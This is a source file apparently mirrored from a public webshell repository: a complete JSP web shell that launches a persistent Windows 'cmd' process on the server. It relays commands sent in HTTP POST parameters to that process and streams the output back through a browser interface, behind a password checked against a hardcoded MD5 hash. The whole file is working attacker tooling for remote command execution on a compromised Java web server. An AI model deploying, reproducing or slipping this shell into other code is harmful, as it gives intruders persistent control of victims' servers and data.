mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
352 lines
13 KiB
Text
352 lines
13 KiB
Text
<%@page contentType="text/html"%><%@page pageEncoding="UTF-8"%><%@page import="java.io.*"%><%@page import="java.io.File.*"%><%@page import="java.security.MessageDigest"%><%!
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public class ProcessThread extends Thread {
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private ByteArrayOutputStream progOutput = new ByteArrayOutputStream(1024);
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private ByteArrayOutputStream progErrorOutput = new ByteArrayOutputStream(1024);
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private BufferedWriter progIn;
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private Process proc;
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private InputStream inputStream;
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private InputStream inputStreamErro;
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private OutputStream outputStream;
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public ByteArrayOutputStream getProgOutput() {
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return progOutput;
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}
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public BufferedWriter getProgIn() {
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return progIn;
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}
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public ByteArrayOutputStream getProgError() {
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return progErrorOutput;
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}
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public void interrupt() {
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if (proc != null) {
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proc.destroy();
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}
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super.interrupt();
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}
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public void run() {
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Runtime runtime = Runtime.getRuntime();
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CopyThread copyThreadOut = null;
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CopyThread copyThreadError = null;
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try {
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proc = runtime.exec("cmd");// for Windows System use runtime.exec("cmd");
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inputStream = proc.getInputStream();
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copyThreadOut = new CopyThread("copyThreadOut", inputStream, progOutput);
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copyThreadOut.start();
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inputStreamErro = proc.getErrorStream();
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copyThreadError = new CopyThread("copyThreadError", inputStreamErro, progErrorOutput);
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copyThreadError.start();
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outputStream = proc.getOutputStream();
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progIn = new BufferedWriter(new OutputStreamWriter(outputStream));
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progOutput.write(("Exit=" + proc.waitFor()).getBytes());
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System.out.println("Process end!!!!!!!");
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} catch (InterruptedException ex) {
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ex.printStackTrace();
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} catch (IOException ex) {
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ex.printStackTrace();
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} finally {
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if (copyThreadOut != null && copyThreadOut.isAlive()) {
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try {
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copyThreadOut.stop();
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} catch (Throwable t) {
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t.printStackTrace();
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}
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}
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if (copyThreadError != null && copyThreadError.isAlive()) {
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try {
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copyThreadError.stop();
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} catch (Throwable t) {
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t.printStackTrace();
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}
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}
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}
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}
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}
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public class CopyThread extends Thread {
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private InputStream inputStream;
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private OutputStream outputStream;
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private String name;
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public CopyThread(String name, InputStream inputStream, OutputStream outputStream) {
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this.inputStream = inputStream;
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this.outputStream = outputStream;
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this.name = name;
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}
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@Override
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public void run() {
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int _char;
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try {
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while ((_char = inputStream.read()) > 0) {
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System.out.write(_char);
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synchronized (outputStream) {
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outputStream.write(_char);
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}
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}
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} catch (Exception ex) {
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ex.printStackTrace();
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}
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}
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}
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private void setupProcess(HttpSession session) {
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Thread processThreadSessionOld = (Thread) session.getAttribute("process");
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if (processThreadSessionOld != null) {
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processThreadSessionOld.interrupt();
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}
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ProcessThread processThreadSession = new ProcessThread();
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processThreadSession.start();
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session.setAttribute("process", processThreadSession);
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while(processThreadSession.getProgIn()==null && processThreadSession.isAlive()){
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}
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session.setAttribute("progInBufferedWriter", processThreadSession.getProgIn());
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session.setAttribute("progOutputByteArrayOutputStream", processThreadSession.getProgOutput());
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session.setAttribute("progErrorByteArrayOutputStream", processThreadSession.getProgError());
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}
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private String getOutput(HttpSession session) {
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ByteArrayOutputStream progOutput = (ByteArrayOutputStream) session.getAttribute("progOutputByteArrayOutputStream");
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ByteArrayOutputStream progErrorOutput = (ByteArrayOutputStream) session.getAttribute("progErrorByteArrayOutputStream");
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StringBuilder stringBuilder = new StringBuilder();
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if (progOutput != null) {
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synchronized (progOutput) {
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stringBuilder.append(progOutput.toString());
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progOutput.reset();
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}
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}
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if (progErrorOutput != null) {
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synchronized (progErrorOutput) {
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stringBuilder.append(progErrorOutput.toString());
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progErrorOutput.reset();
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}
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}
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return stringBuilder.toString();
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}
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private void execute(HttpSession session, String cmd) throws IOException {
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BufferedWriter progIn = (BufferedWriter) session.getAttribute("progInBufferedWriter");
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if (progIn != null) {
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progIn.write(cmd + "\n");
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progIn.flush();
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}
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}
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%><%
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String ServeName = request.getRequestURI();
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String IsAuth = (String) session.getAttribute("isauth");
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if ("true".equals(IsAuth)) {
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String function = request.getParameter("function");
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if (function != null) {
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if ("exit".equalsIgnoreCase(function)) {
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session.invalidate();
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return;
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}
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if ("execute".equalsIgnoreCase(function)) {
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String cmd = request.getParameter("cmd");
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if (cmd != null && !cmd.isEmpty()) {
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execute(session, cmd);
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}
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} else if ("update".equalsIgnoreCase(function)) {
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out.write(getOutput(session));
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} else if ("controlc".equalsIgnoreCase(function)) {
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setupProcess(session);
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}
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return;
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}
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}
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%>
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
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"http://www.w3.org/TR/html4/loose.dtd">
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<HTML>
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<head>
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<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
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<title>JSP Shell</title>
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<script type="text/javascript" language="javascript">
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function sendRequest(url,callbackOk,callbackKo,postData) {
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var req = createXMLHTTPObject();
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if (!req) return;
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var method = (postData) ? "POST" : "GET";
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req.open(method,url,true);
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req.setRequestHeader('User-Agent','XMLHTTP/1.0');
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if (postData){
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req.setRequestHeader('Content-type','application/x-www-form-urlencoded');
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req.setRequestHeader("Content-length", postData.length);
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req.setRequestHeader("Connection", "close");
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}
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req.onreadystatechange = function () {
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if (req.readyState != 4) return;
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if ((req.status != 200) && (req.status != 304)) {
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// alert('HTTP error ' + req.status);
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if(callbackKo){
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callbackKo(req);
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}
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return;
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}
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callbackOk(req);
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}
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if (req.readyState == 4) return;
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req.send(postData);
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}
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var XMLHttpFactories = [
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function () {return new XMLHttpRequest()},
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function () {return new ActiveXObject("Msxml2.XMLHTTP")},
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function () {return new ActiveXObject("Msxml3.XMLHTTP")},
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function () {return new ActiveXObject("Microsoft.XMLHTTP")}
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];
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function createXMLHTTPObject() {
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var xmlhttp = false;
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for (var i=0;i<XMLHttpFactories.length;i++) {
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try {
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xmlhttp = XMLHttpFactories[i]();
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}
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catch (e) {
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continue;
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}
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break;
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}
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return xmlhttp;
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}
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function exeCommand(myFunction){
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sendRequest('<%=ServeName%>' ,
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function(request){
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if(!document.shell.autoUpdate.checked){
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setTimeout("updateText();",1000);
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}
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document.shell.cmd.value = "";
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},
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function(request){
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alert("Error");
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},
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"function="+myFunction+"&cmd="+document.shell.cmd.value);
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return false;
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}
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function updateText(){
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sendRequest('<%=ServeName%>' ,
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function(request){
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document.shell.output.value = document.shell.output.value + request.responseText;
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document.shell.output.scrollTop = document.shell.output.scrollHeight;
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if(document.shell.autoUpdate.checked){
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setTimeout("updateText();",500);
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}
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},
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function(request){
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alert("Error on update");
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document.shell.autoUpdate.checked = false;
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},
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"function=update");
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}
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</script>
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</head>
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<body>
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<h1>JSP Shell</h1>
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<%
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if (session.isNew()) {
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%>
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<FORM action="<%=ServeName%>" method="POST">
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<fieldset>
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<legend>Authentication</legend>
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<p>Password:
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<input type="password" name="pass" size="32" />
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<input name="submit_btn" type="submit" value="ok" />
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</p>
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</fieldset>
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</FORM>
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</BODY>
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</HTML>
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<%
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return;
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} else {
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if ((IsAuth == null && request.getParameter("pass") != null)) {
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String pass = request.getParameter("pass");
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MessageDigest mdAlgorithm = MessageDigest.getInstance("MD5");
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mdAlgorithm.update(pass.getBytes());
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byte[] digest = mdAlgorithm.digest();
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StringBuffer hexString = new StringBuffer();
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for (int i = 0; i < digest.length; i++) {
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pass = Integer.toHexString(0xFF & digest[i]);
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if (pass.length() < 2) {
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pass = "0" + pass;
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}
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hexString.append(pass);
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}
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if (!(hexString.toString().equalsIgnoreCase("95f292773550fc8d39aaa8ddc9f3cfac"))) {
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%>
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MUKHA MO!!!
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<%
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session.invalidate();
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return;
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} else {
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session.setAttribute("isauth", "true");
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//Start proc
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setupProcess(session);
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}
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} else if ("true".equals(IsAuth)) {
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} else {
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session.invalidate();
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return;
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}
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}
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%>
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<FORM NAME="shell" action="" method="POST" onsubmit="exeCommand('execute');return false;">
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<fieldset>
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<legend>Shell</legend>
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<p>
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<textarea name="output" cols="120" rows="25" readonly="readonly"
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onfocus="this.oldValue=document.shell.autoUpdate.checked; document.shell.autoUpdate.checked = false;"
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onblur="document.shell.autoUpdate.checked= this.oldValue; updateText();" ></textarea>
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</p>
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<p><input type="text" name="cmd" size="100"/><input type="submit" value="Enter" name="Enter" />
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<input type="button" value="Reset" name="controlcButton" onclick="exeCommand('controlc');return false;"/>
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<input type="button" value="Clean" name="cleanButton" onclick="document.shell.output.value='';return false;"/>
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<input type="checkbox" name="autoUpdate" value="AutoUpdate" onchange="if(this.checked){updateText();}" checked="true">Auto Update</input>
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</p>
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</fieldset>
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</FORM>
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<FORM name="exitForm" action="<%=ServeName%>" method="POST">
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<p><input type="hidden" name="function" value="exit" /><input type="submit" value="Exit" name="exit" /></p>
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</FORM>
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<script>
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updateText();
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</script>
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</BODY>
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